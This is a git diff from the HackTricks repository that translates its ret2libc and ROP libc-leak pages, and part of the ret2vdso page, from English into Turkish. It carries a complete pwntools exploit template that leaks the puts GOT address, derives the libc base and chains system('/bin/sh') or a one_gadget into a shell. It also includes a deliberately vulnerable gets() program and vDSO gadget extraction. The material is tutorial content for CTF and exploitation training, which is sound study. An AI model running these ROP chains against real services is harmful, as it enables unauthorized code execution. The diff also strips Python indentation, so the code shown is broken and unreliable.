[https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) +Bu eğitim, bu eğitimde önerilen kod/ikili dosyayı istismar edecek: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +Diğer yararlı eğitimler: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -## Code - -Filename: `vuln.c` +## Kod +Dosya adı: `vuln.c` ```c #include int main() { - char buffer[32]; - puts("Simple ROP.\n"); - gets(buffer); +char buffer[32]; +puts("Simple ROP.\n"); +gets(buffer); - return 0; +return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` +## ROP - LIBC Sızıntı Şablonu -## ROP - Leaking LIBC template - -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +Exploit'i indirin ve onu savunmasız ikili dosya ile aynı dizine yerleştirin ve script'e gerekli verileri verin: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +## 1- Ofseti Bulma +Şablon, exploit'e devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, onu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak `OFFSET = ""`): ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": - gdb.attach(p.pid, "c") #Attach and continue - payload = cyclic(1000) - print(r.clean()) - r.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #cyclic_find(0x6161616b) # Find the offset of those bytes - return +gdb.attach(p.pid, "c") #Attach and continue +payload = cyclic(1000) +print(r.clean()) +r.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#cyclic_find(0x6161616b) # Find the offset of those bytes +return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolu** içinde `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset**'i al: ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../../images/image (1007).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +Offset'u bulduktan sonra (bu durumda 40) bu değeri kullanarak şablon içindeki OFFSET değişkenini değiştirin.\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +Başka bir yol ise: `pattern create 1000` -- _ret'ye kadar çalıştır_ -- `pattern seach $rsp` GEF'den kullanmaktır. -## 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +## 2- Gadget'ları Bulma +Artık ikili dosya içinde ROP gadget'larını bulmamız gerekiyor. Bu ROP gadget'ları, kullanılan **libc**'yi bulmak için `puts` çağırmak ve daha sonra **son istismarı başlatmak** için faydalı olacaktır. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +`PUTS_PLT`, **puts** fonksiyonunu çağırmak için gereklidir.\ +`MAIN_PLT`, bir etkileşimden sonra **main function**'ı tekrar çağırmak için gereklidir, böylece taşmayı **tekrar** **istismar** edebiliriz (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır.**\ +**POP_RDI**, çağrılan fonksiyona bir **parametre** **geçmek** için gereklidir. -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP_RDI** is needed to **pass** a **parameter** to the called function. +Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır. -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -## 3- Finding libc library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +## 3- libc kütüphanesini bulma +Artık hangi **libc** kütüphanesi sürümünün kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından bu adreste hangi **kütüphane sürümü** içinde puts sürümünün olduğunu **arama** yapacağız. ```python def get_addr(func_name): - FUNC_GOT = elf.got[func_name] - log.info(func_name + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +FUNC_GOT = elf.got[func_name] +log.info(func_name + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - #Send our rop-chain payload - #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment - print(p.clean()) # clean socket buffer (read all and print) - p.sendline(rop1) +#Send our rop-chain payload +#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment +print(p.clean()) # clean socket buffer (read all and print) +p.sendline(rop1) - #Parse leaked address - recieved = p.recvline().strip() - leak = u64(recieved.ljust(8, "\x00")) - log.info("Leaked libc address, "+func_name+": "+ hex(leak)) - #If not libc yet, stop here - if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +#Parse leaked address +recieved = p.recvline().strip() +leak = u64(recieved.ljust(8, "\x00")) +log.info("Leaked libc address, "+func_name+": "+ hex(leak)) +#If not libc yet, stop here +if libc != "": +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) - return hex(leak) +return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": - print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") - p.interactive() +print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") +p.interactive() ``` - -To do so, the most important line of the executed code is: - +Bunu yapmak için, yürütülen kodun en önemli satırı şudur: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +Bu, bazı baytları **RIP**'i **aşındırmak** mümkün olana kadar gönderecektir: `OFFSET`.\ +Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydında saklanacaktır. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\ +Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki **içeriği** **okuyacak** (**puts fonksiyonunun bellek içindeki adresi**) ve **bunu yazdıracaktır**.\ +Son olarak, **ana fonksiyon tekrar çağrılır** böylece taşmayı tekrar istismar edebiliriz. -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\ -Finally, **main function is called again** so we can exploit the overflow again. - -This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**. +Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **bellekte** **yazdırması** için **kandırdık** (bu, **libc** kütüphanesi içindedir). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**. ![](<../../../../images/image (1049).png>) -As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\ -But, in a remote exploit case I will explain here how can you find it: +**Yerel** bir ikiliyi **istismar ettiğimiz** için, hangi **libc** sürümünün kullanıldığını bulmamıza **gerek yoktur** (sadece `/lib/x86_64-linux-gnu/libc.so.6` içindeki kütüphaneyi bul).\ +Ancak, uzaktan bir istismar durumunda, bunu nasıl bulabileceğinizi burada açıklayacağım: -### 3.1- Searching for libc version (1) +### 3.1- libc sürümünü arama (1) -You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\ -It will also allow you to download the discovered version of **libc** +Hangi kütüphanenin kullanıldığını web sayfasında arayabilirsiniz: [https://libc.blukat.me/](https://libc.blukat.me)\ +Ayrıca, keşfedilen **libc** sürümünü indirmenize de olanak tanır. ![](<../../../../images/image (221).png>) -### 3.2- Searching for libc version (2) +### 3.2- libc sürümünü arama (2) -You can also do: +Ayrıca şunları yapabilirsiniz: - `$ git clone https://github.com/niklasb/libc-database.git` - `$ cd libc-database` - `$ ./get` -This will take some time, be patient.\ -For this to work we need: +Bu biraz zaman alacaktır, sabırlı olun.\ +Bunun çalışması için şunlara ihtiyacımız var: -- Libc symbol name: `puts` -- Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +- Libc sembol adı: `puts` +- Sızdırılan libc adresi: `0x7ff629878690` +Hangi **libc**'nin muhtemelen kullanıldığını belirleyebiliriz. ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +İki eşleşme alıyoruz (ilk çalışmıyorsa ikinciyi denemelisiniz). İlkini indirin: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 - -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb - -> Downloading package - -> Extracting package - -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 +-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb +-> Downloading package +-> Extracting package +-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +`libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` dosyasını çalışma dizinimize kopyalayın. -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -### 3.3- Other functions to leak - +### 3.3- Sızdırmak için diğer fonksiyonlar ```python puts printf @@ -198,28 +181,24 @@ __libc_start_main read gets ``` +## 4- Bulunma temelli libc adresi ve istismar -## 4- Finding based libc address & exploiting +Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6` -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +Bu nedenle, `template.py` dosyasının başında **libc** değişkenini şuna değiştirin: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +**libc kütüphanesine** **yol** vererek, geri kalan **istismar otomatik olarak hesaplanacak**. +`get_addr` fonksiyonu içinde **libc'nin temel adresi** hesaplanacak: ```python if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) ``` - > [!NOTE] -> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. - -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** +> **Son libc temel adresinin 00 ile bitmesi gerektiğini** unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz. +Daha sonra, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc'nin temel adresinden** hesaplanacak ve **libc kütüphanesine** verilecektir. ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -228,9 +207,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +Sonunda, /bin/sh yürütme istismarı hazırlanacak ve gönderilecek: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -240,65 +217,56 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +Son ROP'u açıklayalım.\ +Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **"/bin/sh"** (_BINSH_) adresine işaret eden `POP_RDI`'yi çağırmak istiyoruz ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçecektir.\ +Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzel bir şekilde çıkar** ve herhangi bir uyarı üretilmez. -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\* +**Bu şekilde istismar bir \_/bin/sh**\_\*\* shell'i çalıştıracaktır.\*\* ![](<../../../../images/image (165).png>) -## 4(2)- Using ONE_GADGET +## 4(2)- ONE_GADGET KULLANARAK -You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +Ayrıca [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanarak **system** ve **"/bin/sh"** yerine bir shell elde edebilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\ +Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. ![](<../../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` +## İSTİSMAR DOSYASI -## EXPLOIT FILE - -You can find a template to exploit this vulnerability here: +Bu güvenlik açığını istismar etmek için bir şablon burada bulunabilir: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## Common problems +## Yaygın problemler -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can find where is the main code: +### MAIN_PLT = elf.symbols\['main'] bulunamadı +Eğer "main" sembolü yoksa, ana kodun nerede olduğunu bulabilirsiniz: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +ve adresi manuel olarak ayarlayın: ```python MAIN_PLT = 0x401080 ``` +### Puts bulunamadı -### Puts not found +Eğer ikili dosya Puts kullanmıyorsa, kullanıp kullanmadığını kontrol etmelisiniz. -If the binary is not using Puts you should check if it is using +### `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Eğer **tüm** istismarı oluşturduktan sonra bu **hata** ile karşılaşırsanız: `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı` +**"/bin/sh" adresinden 64 bayt çıkarmayı** deneyin: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index def2864f4..54bd95bce 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,11 +1,6 @@ -# Leaking libc - template +# libc Sızdırma - şablon {{#include ../../../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ```python:template.py from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools @@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {} if LOCAL: - P = process(LOCAL_BIN, env=ENV) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = process(LOCAL_BIN, env=ENV) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: - P = remote('10.10.10.10',1339) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = remote('10.10.10.10',1339) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - p = ssh_shell.process(REMOTE_BIN) # start the vuln binary - elf = ELF(LOCAL_BIN)# Extract data from binary - rop = ROP(elf)# Find ROP gadgets +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +p = ssh_shell.process(REMOTE_BIN) # start the vuln binary +elf = ELF(LOCAL_BIN)# Extract data from binary +rop = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") @@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH: OFFSET = b"" #b"A"*264 if OFFSET == b"": - gdb.attach(P.pid, "c") #Attach and continue - payload = cyclic(264) - payload += b"AAAAAAAA" - print(P.clean()) - P.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #print(cyclic_find(0x63616171)) # Find the offset of those bytes - P.interactive() - exit() +gdb.attach(P.pid, "c") #Attach and continue +payload = cyclic(264) +payload += b"AAAAAAAA" +print(P.clean()) +P.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#print(cyclic_find(0x63616171)) # Find the offset of those bytes +P.interactive() +exit() @@ -69,11 +64,11 @@ if OFFSET == b"": ### Find Gadgets ### #################### try: - libc_func = "puts" - PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts +libc_func = "puts" +PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: - libc_func = "printf" - PUTS_PLT = ELF_LOADED.plt['printf'] +libc_func = "printf" +PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET)) ######################## def generate_payload_aligned(rop): - payload1 = OFFSET + rop - if (len(payload1) % 16) == 0: - return payload1 +payload1 = OFFSET + rop +if (len(payload1) % 16) == 0: +return payload1 - else: - payload2 = OFFSET + p64(RET) + rop - if (len(payload2) % 16) == 0: - log.info("Payload aligned successfully") - return payload2 - else: - log.warning(f"I couldn't align the payload! Len: {len(payload1)}") - return payload1 +else: +payload2 = OFFSET + p64(RET) + rop +if (len(payload2) % 16) == 0: +log.info("Payload aligned successfully") +return payload2 +else: +log.warning(f"I couldn't align the payload! Len: {len(payload1)}") +return payload1 def get_addr(libc_func): - FUNC_GOT = ELF_LOADED.got[libc_func] - log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - rop1 = generate_payload_aligned(rop1) +FUNC_GOT = ELF_LOADED.got[libc_func] +log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +rop1 = generate_payload_aligned(rop1) - # Send our rop-chain payload - #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received - print(P.clean()) # clean socket buffer (read all and print) - P.sendline(rop1) +# Send our rop-chain payload +#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received +print(P.clean()) # clean socket buffer (read all and print) +P.sendline(rop1) - # If binary is echoing back the payload, remove that message - recieved = P.recvline().strip() - if OFFSET[:30] in recieved: - recieved = P.recvline().strip() +# If binary is echoing back the payload, remove that message +recieved = P.recvline().strip() +if OFFSET[:30] in recieved: +recieved = P.recvline().strip() - # Parse leaked address - log.info(f"Len rop1: {len(rop1)}") - leak = u64(recieved.ljust(8, b"\x00")) - log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") +# Parse leaked address +log.info(f"Len rop1: {len(rop1)}") +leak = u64(recieved.ljust(8, b"\x00")) +log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - # Set lib base address - if LIBC: - LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base - print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") - log.info("LIBC base @ %s" % hex(LIBC.address)) +# Set lib base address +if LIBC: +LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base +print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") +log.info("LIBC base @ %s" % hex(LIBC.address)) - # If not LIBC yet, stop here - else: - print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") - P.interactive() +# If not LIBC yet, stop here +else: +print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") +P.interactive() - return hex(leak) +return hex(leak) get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base @@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base ## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): - import string, subprocess - args = ["one_gadget", "-r"] - if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): - args += ["-b", libc.hex()] - else: - args += [libc] - try: - one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] - except: - print("One_gadget isn't installed") - one_gadgets = [] - return +import string, subprocess +args = ["one_gadget", "-r"] +if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): +args += ["-b", libc.hex()] +else: +args += [libc] +try: +one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] +except: +print("One_gadget isn't installed") +one_gadgets = [] +return rop2 = b"" if USE_ONE_GADGET: - one_gadgets = get_one_gadgets(LIBC) - if one_gadgets: - rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains +one_gadgets = get_one_gadgets(LIBC) +if one_gadgets: +rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains ## Normal/Long exploitation if not rop2: - BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh - SYSTEM = LIBC.sym["system"] - EXIT = LIBC.sym["exit"] +BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh +SYSTEM = LIBC.sym["system"] +EXIT = LIBC.sym["exit"] - log.info("POP_RDI %s " % hex(POP_RDI)) - log.info("bin/sh %s " % hex(BINSH)) - log.info("system %s " % hex(SYSTEM)) - log.info("exit %s " % hex(EXIT)) +log.info("POP_RDI %s " % hex(POP_RDI)) +log.info("bin/sh %s " % hex(BINSH)) +log.info("system %s " % hex(SYSTEM)) +log.info("exit %s " % hex(EXIT)) - rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) - rop2 = generate_payload_aligned(rop2) +rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) +rop2 = generate_payload_aligned(rop2) print(P.clean()) @@ -189,41 +184,30 @@ P.sendline(rop2) P.interactive() #Interact with your shell :) ``` +## Yaygın problemler -## Common problems - -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code: +### MAIN_PLT = elf.symbols\['main'] bulunamadı +Eğer "main" sembolü yoksa (muhtemelen çünkü bu bir stripped binary). O zaman ana kodun nerede olduğunu bulabilirsiniz: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +ve adresi manuel olarak ayarlayın: ```python MAIN_PLT = 0x401080 ``` +### Puts bulunamadı -### Puts not found +Eğer ikili dosya Puts kullanmıyorsa **kullanıp kullanmadığını kontrol etmelisiniz** -If the binary is not using Puts you should **check if it is using** +### `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +Tüm istismarı oluşturduktan sonra bu **hata** ile karşılaşırsanız: `sh: 1: %s%s%s%s%s%s%s%s: bulunamadı` +**"/bin/sh" adresinden 64 byte çıkarmayı** deneyin: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index a3a6c9ed5..46c647f19 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region. - -Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with: +**vDSO bölgesinde gadget'lar olabilir**, bu kullanıcı modundan çekirdek moduna geçmek için kullanılır. Bu tür zorluklarda genellikle vDSO bölgesini dökmek için bir çekirdek görüntüsü sağlanır. +[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) örneğini takip ederek, vdso bölümünü döküp bunu ana makineye taşımak için nasıl mümkün olduğunu görebiliriz: ```bash # Find addresses cat /proc/76/maps @@ -33,9 +32,7 @@ echo '' | base64 -d | gzip -d - > vdso file vdso ROPgadget --binary vdso | grep 'int 0x80' ``` - -ROP gadgets found: - +ROP aletleri bulundu: ```python vdso_addr = 0xf7ffc000 @@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` - > [!CAUTION] -> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +> Bu nedenle, **vdso'yu kötüye kullanarak ASLR'yi atlamanın** 